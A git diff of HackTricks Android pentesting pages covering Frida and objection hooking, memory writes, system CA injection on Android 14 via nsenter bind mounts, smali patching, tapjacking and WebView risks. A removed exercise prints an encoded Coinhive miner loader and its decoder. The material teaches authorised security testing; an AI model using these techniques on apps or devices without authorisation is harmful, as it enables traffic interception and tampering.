**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
Follow the [link to read it](owaspuncrackable-1.md).\
**You can find some Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
**Follow the [link to read it](owaspuncrackable-1.md).**
## Fast Examples
**You can find more Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
Here you can find the more basic and interesting functionalities of Frida to make a quick script:
## Quick Examples
### Calling Frida from command line

2
mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md
View file

@ -20,7 +20,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
{% embed url="https://www.stmcyber.com/careers" %}
**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**This is a summary of the post**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)

6
mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -20,7 +20,7 @@
**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
**This is a summary of the post**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\
**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
The part 1 is so easy.
@ -249,7 +249,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

30
mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md
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@ -22,11 +22,9 @@ Other ways to support HackTricks:
## **Introduction**
[![objection](https://github.com/sensepost/objection/raw/master/images/objection.png)](https://github.com/sensepost/objection)
**objection - Runtime Mobile Exploration**
`objection` is a runtime mobile exploration toolkit, powered by [Frida](https://www.frida.re). It was built with the aim of helping assess mobile applications and their security posture without the need for a jailbroken or rooted mobile device.
**[Objection](https://github.com/sensepost/objection)** is a runtime mobile exploration toolkit, powered by [Frida](https://www.frida.re). It was built with the aim of helping assess mobile applications and their security posture without the need for a jailbroken or rooted mobile device.
**Note:** This is not some form of jailbreak / root bypass. By using `objection`, you are still limited by all of the restrictions imposed by the applicable sandbox you are facing.
@ -128,13 +126,13 @@ This is also usefull if somehow you are **unable to get some readable source cod
#### List activities, receivers and services
```
```bash
android hooking list activities
```
![](<../../../.gitbook/assets/image (78).png>)
```
```bash
android hooking list services
android hooking list receivers
```
@ -143,7 +141,7 @@ Frida will launch an error if none is found
#### Getting current activity
```
```bash
android hooking get current_activity
```
@ -153,7 +151,7 @@ android hooking get current_activity
Lets start looking for classes inside our application
```
```bash
android hooking search classes asvid.github.io.fridaapp
```
@ -163,7 +161,7 @@ android hooking search classes asvid.github.io.fridaapp
Now lets extract the methods inside the class _MainActivity:_
```
```bash
android hooking search methods asvid.github.io.fridaapp MainActivity
```
@ -173,7 +171,7 @@ android hooking search methods asvid.github.io.fridaapp MainActivity
Lets figure out wich parameters does the methods of the class need:
```
```bash
android hooking list class_methods asvid.github.io.fridaapp.MainActivity
```
@ -183,7 +181,7 @@ android hooking list class_methods asvid.github.io.fridaapp.MainActivity
You could also list all the classes that were loaded inside the current applicatoin:
```
```bash
android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes.
```
@ -195,7 +193,7 @@ This is very useful if you want to **hook the method of a class and you only kno
From the [source code](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) of the application we know that the **function** _**sum()**_ **from** _**MainActivity**_ is being run **every second**. Lets try to **dump all possible information** each time the function is called (arguments, return value and backtrace):
```
```bash
android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return
```
@ -205,7 +203,7 @@ android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --d
Actually I find all the methods of the class MainActivity really interesting, lets **hook them all**. Be careful, this could **crash** an application.
```
```bash
android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return
```
@ -237,7 +235,7 @@ android heap print_instances <class>
You can play with the keystore and intents using:
```
```bash
android keystore list
android intents launch_activity
android intent launch_service
@ -254,7 +252,7 @@ memory dump from_base <base_address> <size_to_dump> <local_destination> #Dump a
#### List
```
```bash
memory list modules
```
@ -272,7 +270,7 @@ Lets checks what is frida exporting:
You can alse search and write inside memory with objection:
```
```bash
memory search "<pattern eg: 41 41 41 ?? 41>" (--string) (--offsets-only)
memory write "<address>" "<pattern eg: 41 41 41 41>" (--string)
```
@ -283,7 +281,7 @@ You cals can use the command `sqlite` to interact with sqlite databases.
### Exit
```
```bash
exit
```

4
mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md
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@ -20,11 +20,9 @@ Other ways to support HackTricks:
{% embed url="https://www.stmcyber.com/careers" %}
\\
***
**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**This is a summary of the post**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk)
## Solution 1

53
mobile-pentesting/android-app-pentesting/install-burp-certificate.md
View file

@ -70,23 +70,14 @@ Explained in [**this video**](https://www.youtube.com/watch?v=qQicUW0svB8) you n
## Post Android 14
Changes:
In the latest Android 14 release, a significant shift has been observed in the handling of system-trusted Certificate Authority (CA) certificates. Previously, these certificates were housed in **`/system/etc/security/cacerts/`**, accessible and modifiable by users with root privileges, which allowed immediate application across the system. However, with Android 14, the storage location has been moved to **`/apex/com.android.conscrypt/cacerts`**, a directory within the **`/apex`** path, which is immutable by nature.
* Until now, system-trusted CA certificates lived in **`/system/etc/security/cacerts/`**. On a standard AOSP emulator, those could be **modified directly with root access** with minimal setup, immediately taking **effect everywhere**.
* In Android 14, system-trusted CA certificates will generally live in **`/apex/com.android.conscrypt/cacerts`**, and all of **`/apex` is immutable**.
* That **APEX cacerts path cannot be remounted as rewritable** - remounts simply fail. In fact, even if you unmount the entire path from a root shell, apps can still read your certificates just fine.
* The alternative technique of **mounting a tmpfs directory over the top also doesn't work** - even though this means that `ls /apex/com.android.conscrypt/cacerts` might return nothing (or anything else you like), apps will still see the same original data.
* Because the `/apex` mount is [explicitly mounted](https://cs.android.com/android/platform/superproject/main/+/main:system/core/init/mount\_namespace.cpp;l=97;drc=566c65239f1cf3fcb0d8745715e5ef1083d4bd3a) **with PRIVATE propagation**, so that all changes to mounts inside the `/apex` path are never shared between processes.
Attempts to remount the **APEX cacerts path** as writable are met with failure, as the system does not allow such operations. Even attempts to unmount or overlay the directory with a temporary file system (tmpfs) do not circumvent the immutability; applications continue to access the original certificate data regardless of changes at the file system level. This resilience is due to the **`/apex`** mount being configured with PRIVATE propagation, ensuring that any modifications within the **`/apex`** directory do not affect other processes.
That's done by the `init` process which starts the OS, which then launches the [Zygote process](https://en.wikipedia.org/wiki/Booting\_process\_of\_Android\_devices#Zygote) (with a new mount namespace copied from the parent, so including its **own private `/apex` mount**), which then in turn **starts each app process** whenever an app is launched on the device (who each in turn then **copy that same private `/apex` mount**).
The initialization of Android involves the `init` process, which, upon starting the operating system, also initiates the Zygote process. This process is responsible for launching application processes with a new mount namespace that includes a private **`/apex`** mount, thus isolating changes to this directory from other processes.
### Recursively remounting mountpoints
Nevertheless, a workaround exists for those needing to modify the system-trusted CA certificates within the **`/apex`** directory. This involves manually remounting **`/apex`** to remove the PRIVATE propagation, thereby making it writable. The process includes copying the contents of **`/apex/com.android.conscrypt`** to another location, unmounting the **`/apex/com.android.conscrypt`** directory to eliminate the read-only constraint, and then restoring the contents to their original location within **`/apex`**. This approach requires swift action to avoid system crashes. To ensure system-wide application of these changes, it is recommended to restart the `system_server`, which effectively restarts all applications and brings the system to a consistent state.
* You can remount `/apex` manually, removing the PRIVATE propagation and making it writable (ironically, it seems that entirely removing private propagation _does_ propagate everywhere)
* You copy out the entire contents of `/apex/com.android.conscrypt` elsewhere
* Then you unmount `/apex/com.android.conscrypt` entirely - removing the read-only mount that immutably provides this module
* Then you copy the contents back, so it lives into the `/apex` mount directly, where it can be modified (you need to do this quickly, as [apparently](https://infosec.exchange/@g1a55er/111069489513139531) you can see crashes otherwise)
* This should take effect immediately, but they recommend killing `system_server` (restarting all apps) to get everything back into a consistent state
```bash
# Create a separate temp directory, to hold the current certificates
@ -148,28 +139,32 @@ echo "System certificate injected"
### Bind-mounting through NSEnter
* First, we need set up a writable directory somewhere. For easy compatibility with the existing approach, I'm doing this with a `tmpfs` mount over the (still present) non-APEX system cert directory:
1. **Setting Up a Writable Directory**: Initially, a writable directory is established by mounting a `tmpfs` over the existing non-APEX system certificate directory. This is achieved with the following command:
```bash
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
* Then you place the CA certificates you're interested in into this directory (e.g. you might want copy all the defaults out of the existing `/apex/com.android.conscrypt/cacerts/` CA certificates directory) and set permissions & SELinux labels appropriately.
* Then, use `nsenter` to enter the Zygote's mount namespace, and bind mount this directory over the APEX directory:
```
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- \
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
2. **Preparing CA Certificates**: Following the setup of the writable directory, the CA certificates that one intends to use should be copied into this directory. This might involve copying the default certificates from `/apex/com.android.conscrypt/cacerts/`. It's essential to adjust the permissions and SELinux labels of these certificates accordingly.
The Zygote process spawns each app, copying its mount namespace to do so, so this ensures all newly launched apps (everything started from now on) will use this.
* Then, use `nsenter` to enter each already running app's namespace, and do the same:
3. **Bind Mounting for Zygote**: Utilizing `nsenter`, one enters the Zygote's mount namespace. Zygote, being the process responsible for launching Android applications, requires this step to ensure that all applications initiated henceforth utilize the newly configured CA certificates. The command used is:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- \
/bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
Alternatively, if you don't mind the awkward UX, you should be able to do the bind mount on `init` itself (PID 1) and then run `stop && start` to soft-reboot the OS, recreating all the namespaces and propagating your changes everywhere (but personally I do mind the awkward reboot, so I'm ignoring that route entirely).
This ensures that every new app started will adhere to the updated CA certificates setup.
4. **Applying Changes to Running Apps**: To apply the changes to already running applications, `nsenter` is again used to enter each app's namespace individually and perform a similar bind mount. The necessary command is:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
5. **Alternative Approach - Soft Reboot**: An alternative method involves performing the bind mount on the `init` process (PID 1) followed by a soft reboot of the operating system with `stop && start` commands. This approach would propagate the changes across all namespaces, avoiding the need to individually address each running app. However, this method is generally less preferred due to the inconvenience of rebooting.
## References
* [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
<details>

2
mobile-pentesting/android-app-pentesting/intent-injection.md
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@ -15,7 +15,7 @@ Other ways to support HackTricks:
</details>
**Take a look to: [https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
**Take a look to: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
<details>

56
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@ -14,56 +14,36 @@ Other ways to support HackTricks:
</details>
## How to De-Obfuscate
## Manual **De-obfuscation Techniques**
De-obfuscation strategies depend on the obfuscation method. This section introduces static de-obfuscation techniques, suitable for static analysis or reversing:
In the realm of **software security**, the process of making obscured code understandable, known as **de-obfuscation**, is crucial. This guide delves into various strategies for de-obfuscation, focusing on static analysis techniques and recognizing obfuscation patterns. Additionally, it introduces an exercise for practical application and suggests further resources for those interested in exploring more advanced topics.
* For DEX bytecode (Java), a common approach is to identify and replicate the application's de-obfuscation methods into a Java file, which is then executed against the obfuscated elements.
* Both for Java and Native Code, another technique involves translating the de-obfuscation algorithm into a familiar scripting language like Python, emphasizing that understanding the algorithm is not as crucial as being able to execute it.
### **Strategies for Static De-obfuscation**
## Indicators of Obfuscation
When dealing with **obfuscated code**, several strategies can be employed depending on the nature of the obfuscation:
Recognizing obfuscation involves identifying certain indicators, with the following examples provided:
- **DEX bytecode (Java)**: One effective approach involves identifying the application's de-obfuscation methods, then replicating these methods in a Java file. This file is executed to reverse the obfuscation on the targeted elements.
- **Java and Native Code**: Another method is to translate the de-obfuscation algorithm into a scripting language like Python. This strategy highlights that the primary goal is not to fully understand the algorithm but to execute it effectively.
* Absence of strings or presence of scrambled strings in Java and Android, hinting at string obfuscation.
* Existence of binary files in the assets directory or DexClassLoader calls, indicating possible code unpacking and loading.
* Use of Native libraries without identifiable JNI functions, suggesting native method obfuscation.
### **Identifying Obfuscation**
### String Deobfuscation Exercise
Recognizing obfuscated code is the first step in the de-obfuscation process. Key indicators include:
An exercise is provided to practice string de-obfuscation within a static analysis context. The task involves a sample file with a specific SHA256 digest, requiring the analyst to uncover an obfuscated Javascript string without running the application dynamically.
- The **absence or scrambling of strings** in Java and Android, which may suggest string obfuscation.
- The **presence of binary files** in the assets directory or calls to `DexClassLoader`, hinting at code unpacking and dynamic loading.
- The use of **native libraries alongside unidentifiable JNI functions**, indicating potential obfuscation of native methods.
The solution involves a Python script that deciphers the encoded string, revealing an embedded script sourcing from coinhive.com and initiating a miner.
## **Dynamic Analysis in De-obfuscation**
### Additional Resources
By executing the code in a controlled environment, dynamic analysis **allows for the observation of how the obfuscated code behaves in real time**. This method is particularly effective in uncovering the inner workings of complex obfuscation patterns that are designed to hide the true intent of the code.
Further insights into de-obfuscating Android apps, especially focusing on advanced obfuscation techniques, can be explored in the talks at BlackHat USA 2018 and REcon 2019, each covering unique aspects of obfuscation in Android applications.
### **Applications of Dynamic Analysis**
Exercise from https://maddiestone.github.io/AndroidAppRE/obfuscation.html:
- **Runtime Decryption**: Many obfuscation techniques involve encrypting strings or code segments that only get decrypted at runtime. Through dynamic analysis, these encrypted elements can be captured at the moment of decryption, revealing their true form.
- **Identifying Obfuscation Techniques**: By monitoring the application's behavior, dynamic analysis can help identify specific obfuscation techniques being used, such as code virtualization, packers, or dynamic code generation.
- **Uncovering Hidden Functionality**: Obfuscated code may contain hidden functionalities that are not apparent through static analysis alone. Dynamic analysis allows for the observation of all code paths, including those conditionally executed, to uncover such hidden functionalities.
```python
enc_str = "773032205849207A3831326F1351202E3B306B7D1E5A3B33252B382454173735266C3D3B53163735222D393B475C7A37222D7F38421B6A66643032205849206477303220584920643D2223725C503A3F39636C725F5C237A082C383C7950223F65023F3D5F4039353E3079755F5F666E1134141F5C4C64377A1B671F565A1B2C7F7B101F42700D1F39331717161574213F2B2337505D27606B712C7B0A543D342E317F214558262E636A6A6E1E4A37282233256C"
length = len(enc_str)
count = 0
dec_str = [0] * (length/2)
while (count < length):
dec_str[count/2] = (int(enc_str[count], 16) << 4) + int(enc_str[count + 1], 16) & 0xFF
count += 2
print dec_str
key = [75, 67, 81, 82, 49, 57, 84, 90]
enc_str = dec_str
count = 0
length = len(enc_str)
while (count < length):
dec_str[count] = chr(enc_str[count] ^ key[count % len(key)])
count += 1
print ''.join(dec_str)
```
# References and Further Reading
## References and Further Reading
* [https://maddiestone.github.io/AndroidAppRE/obfuscation.html](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)
* BlackHat USA 2018: “Unpacking the Packed Unpacker: Reverse Engineering an Android Anti-Analysis Library” \[[video](https://www.youtube.com/watch?v=s0Tqi7fuOSU)]
* This talk goes over reverse engineering one of the most complex anti-analysis native libraries I’ve seen used by an Android application. It covers mostly obfuscation techniques in native code.

4
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@ -48,9 +48,7 @@ To search for sensitive credentials and endpoints, follow these steps:
3. It was fortunate that sensitive hard-coded credentials were found in the JavaScript code during the recon process.
Overall, by following these steps, you can analyze a React Native application, confirm its framework, and search for potential sensitive information within the code.
# References
## References
* [https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7)
<details>

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mobile-pentesting/android-app-pentesting/smali-changes.md
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@ -22,13 +22,13 @@ Sometimes it is interesting to modify the application code to access hidden info
Using **Visual Studio Code** and the [APKLab](https://github.com/APKLab/APKLab) extension, you can **automatically decompile**, modify, **recompile**, sign & install the application without executing any command.
Another **script** that facilitates this task a lot is [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)****
Another **script** that facilitates this task a lot is [**https://github.com/ax/apk.sh**](https://github.com/ax/apk.sh)
## Decompile the APK
Using APKTool you can access to the **smali code and resources**:
```
```bash
apktool d APP.apk
```
@ -89,7 +89,7 @@ zipalign -v 4 infile.apk
### **Sign the new APK (again?)**
If you **prefer** to use \[**apksigner**]\([**https://developer.android.com/studio/command-line/apksigner**](https://developer.android.com/studio/command-line/apksigner))\*\* instead of jarsigner, **you should sing the apk** after applying **the optimization with** zipaling\*\*. BUT NOTICE THAT\*\* YOU ONLY HAVE TO SIGN THE APPLCIATION ONCE\*\* WITH jarsigner (before zipalign) OR WITH aspsigner(after zipaling).
If you **prefer** to use [**apksigner**](https://developer.android.com/studio/command-line/) instead of jarsigner, **you should sing the apk** after applying **the optimization with** zipaling. BUT NOTICE THAT YOU ONLY HAVE TO **SIGN THE APPLCIATION ONCE** WITH jarsigner (before zipalign) OR WITH aspsigner (after zipaling).
```bash
apksigner sign --ks key.jks ./dist/mycompiled.apk
@ -99,7 +99,7 @@ apksigner sign --ks key.jks ./dist/mycompiled.apk
For the following Hello World Java code:
```
```java
public static void printHelloWorld() {
System.out.println("Hello World")
}
@ -107,7 +107,7 @@ public static void printHelloWorld() {
The Smali code would be:
```
```java
.method public static printHelloWorld()V
.registers 2
sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
@ -125,7 +125,7 @@ The Smali instruction set is available [here](https://source.android.com/devices
Some variables are defined at the beginning of the function using the opcode _const_, you can modify its values, or you can define new ones:
```
```bash
#Number
const v9, 0xf4240
const/4 v8, 0x1
@ -135,7 +135,7 @@ const-string v5, "wins"
### Basic Operations
```
```bash
#Math
add-int/lit8 v0, v2, 0x1 #v2 + 0x1 and save it in v0
mul-int v0,v2,0x2 #v2*0x2 and save in v0
@ -162,7 +162,7 @@ goto :goto_6 #Always go to: :goto_6
### Logging
```
```bash
#Log win: <number>
iget v5, p0, Lcom/google/ctf/shallweplayagame/GameActivity;->o:I #Get this.o inside v5
invoke-static {v5}, Ljava/lang/String;->valueOf(I)Ljava/lang/String; #Transform number to String
@ -185,7 +185,7 @@ Remember to add 3 to the number of _.locals_ at the beginning of the function.
This code is prepared to be inserted in the **middle of a function** (**change** the number of the **variables** as necessary). It will take the **value of this.o**, **transform** it to **String** and them **make** a **toast** with its value.
```
```bash
const/4 v10, 0x1
const/4 v11, 0x1
const/4 v12, 0x1

2
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@ -40,7 +40,7 @@ In situations where an application is restricted to certain countries, and you'r
- Regularly using a VPN may affect the performance of some apps and services.
- Be aware of the terms of service for any app or service you're using, as using a VPN to bypass regional restrictions may violate those terms.
# References
## References
* [https://manifestsecurity.com/android-application-security-part-23/](https://manifestsecurity.com/android-application-security-part-23/)

4
mobile-pentesting/android-app-pentesting/tapjacking.md
View file

@ -38,7 +38,7 @@ If **`android:filterTouchesWhenObscured`** is set to **`true`**, the `View` will
The attribute **`setFilterTouchesWhenObscured`** set to true can also prevent the exploitation of this vulnerability if the Android version is lower.\
If set to **`true`**, for example, a button can be automatically **disabled if it is obscured**:
```markup
```xml
<Button android:text="Button"
android:id="@+id/button1"
android:layout_width="wrap_content"
@ -51,7 +51,7 @@ android:filterTouchesWhenObscured="true">
### Tapjacking-ExportedActivity
The most **recent Android application** performing a **Tapjacking attack** (+ invoking before an **exported activity** of the attacked application) can be found in [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
The most **recent Android application** performing a Tapjacking attack (+ invoking before an exported activity of the attacked application) can be found in: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
Follow the **README instructions to use it**.

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@ -14,154 +14,96 @@ Other ways to support HackTricks:
</details>
## Interesting Configurations
## Simplified Guide on WebView Configurations and Security
You can identify an exposed WebView like this:
### Overview of WebView Vulnerabilities
<figure><img src="../../.gitbook/assets/image (718).png" alt=""><figcaption></figcaption></figure>
A critical aspect of Android development involves the correct handling of WebViews. This guide highlights key configurations and security practices to mitigate risks associated with WebView usage.
### File Access
![WebView Example](../../.gitbook/assets/image%20(718).png)
_WebView_ file access is enabled by default. Since API 3 (Cupcake 1.5) the method [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) is available for explicitly enabling or disabling it.\
If the application has \_**android.permission.READ\_EXTERNAL\_STORAGE** \_ it will be able to read and load files **from the external storage**.\
The _WebView_ needs to use a File URL Scheme, e.g., `file://path/file`, to access the file.
### **File Access in WebViews**
#### Universal Access From File URL (Deprecated)
By default, WebViews permit file access. This functionality is controlled by the `setAllowFileAccess()` method, available since Android API level 3 (Cupcake 1.5). Applications with the **android.permission.READ_EXTERNAL_STORAGE** permission can read files from external storage using a file URL scheme (`file://path/to/file`).
> Sets whether **cross-origin requests** in the **context of a file** scheme URL should be allowed to access **content from any origin**. This includes **access to content from other file scheme URLs or web contexts.** Note that some access such as image HTML elements doesn't follow same-origin rules and isn't affected by this setting.
>
> **Don't** enable this setting if you open files that may be created or altered by external sources. Enabling this setting **allows malicious scripts loaded in a `file://`** context to launch cross-site scripting attacks, either **accessing arbitrary local files** including WebView cookies, app private data or even credentials used on arbitrary web sites.
#### **Deprecated Features: Universal and File Access From URLs**
In summary this will **prevent loading arbitrary Origins.** The app will send the URL request lo load the content with **`Origin: file://`** if the response doesn't allow that origin (**`Access-Control-Allow-Origin: file://`**) then the content won't be loaded.\
The **default value is `false`** when targeting [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) and above.
- **Universal Access From File URLs**: This deprecated feature allowed cross-origin requests from file URLs, posing a significant security risk due to potential XSS attacks. The default setting is disabled (`false`) for apps targeting Android Jelly Bean and newer.
- To check this setting, use `getAllowUniversalAccessFromFileURLs()`.
- To modify this setting, use `setAllowUniversalAccessFromFileURLs(boolean)`.
* Use [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) to know whether JavaScript running in the context of a file scheme URL can access content from any origin (if UniversalAccessFromFileURL is enabled).
* Use [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\)) to enable/disable it.
- **File Access From File URLs**: This feature, also deprecated, controlled access to content from other file scheme URLs. Like universal access, its default is disabled for enhanced security.
- Use `getAllowFileAccessFromFileURLs()` to check and `setAllowFileAccessFromFileURLs(boolean)` to set.
{% hint style="info" %}
Using **`loadDataWithBaseURL()`** with `null` as baseURL will also **prevent to load local files** even if all the dangerous settings are enabled.
{% endhint %}
#### **Secure File Loading**
#### File Access From File URLs (Deprecated) <a href="#getallowfileaccessfromfileurls" id="getallowfileaccessfromfileurls"></a>
For disabling file system access while still accessing assets and resources, the `setAllowFileAccess()` method is used. With Android R and above, the default setting is `false`.
- Check with `getAllowFileAccess()`.
- Enable or disable with `setAllowFileAccess(boolean)`.
> Sets whether cross-origin requests in the context of a file scheme URL should be allowed to access content from other file scheme URLs. Note that some accesses such as image HTML elements don't follow same-origin rules and aren't affected by this setting.
>
> **Don't** enable this setting if you open files that may be created or altered by external sources. Enabling this setting allows malicious scripts loaded in a `file://` context to access arbitrary local files including WebView cookies and app private data.
#### **WebViewAssetLoader**
In summary, this prevents javascript to access local files via `file://` protocol.\
Note that **the value of this setting is ignored** if the value of [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) is `true`.\
The **default value is `false`** when targeting [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) and above.
The **WebViewAssetLoader** class is the modern approach for loading local files. It uses http(s) URLs for accessing local assets and resources, aligning with the Same-Origin policy, thus facilitating CORS management.
* Use [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) to know whether JavaScript is running in the context of a file scheme URL can access content from other file scheme URLs.
* Use [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\))to enable/disable it.
### **JavaScript and Intent Scheme Handling**
#### File Access
- **JavaScript**: Disabled by default in WebViews, it can be enabled via `setJavaScriptEnabled()`. Caution is advised as enabling JavaScript without proper safeguards can introduce security vulnerabilities.
> Enables or disables **file access within WebView**. Note that this enables or disables file system access only. Assets and resources are still accessible using file:///android\_asset and file:///android\_res.
- **Intent Scheme**: WebViews can handle the `intent` scheme, potentially leading to exploits if not carefully managed. An example vulnerability involved an exposed WebView parameter "support_url" that could be exploited to execute cross-site scripting (XSS) attacks.
In summary, if disable, the WebView won't be able to load a local file with the `file://` protocol.\
The **default value is`false`** when targeting [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#R) and above.
![Vulnerable WebView](../../.gitbook/assets/image%20(719).png)
* Use [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess\(\)) to know if the configuration is enabled.
* Use [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\(boolean\)) to enable/disable it.
Exploitation example using adb:
#### WebViewAssetLoader
> Helper class to load local files including application's static assets and resources using http(s):// URLs inside a [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html) class. Loading local files using web-like URLs instead of `"file://"` is desirable as it is compatible with the Same-Origin policy.
This is new recommended way to load local files. The goal is to **access local files using a HTTP URL with the domain**. This way the **CORS** can be **easily** maintained between the **local** web **pages** and the **web** **pages** that are downloaded from the web server.
### Javascript Enabled
WebViews have Javascript **disabled by default**. The method [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) is can explicitly enabling or disabling it.\
Note that webviews can also support the **`intent`** **scheme** that allows to fire other applications. Read this [writeup to find how to go from XSS to RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105).
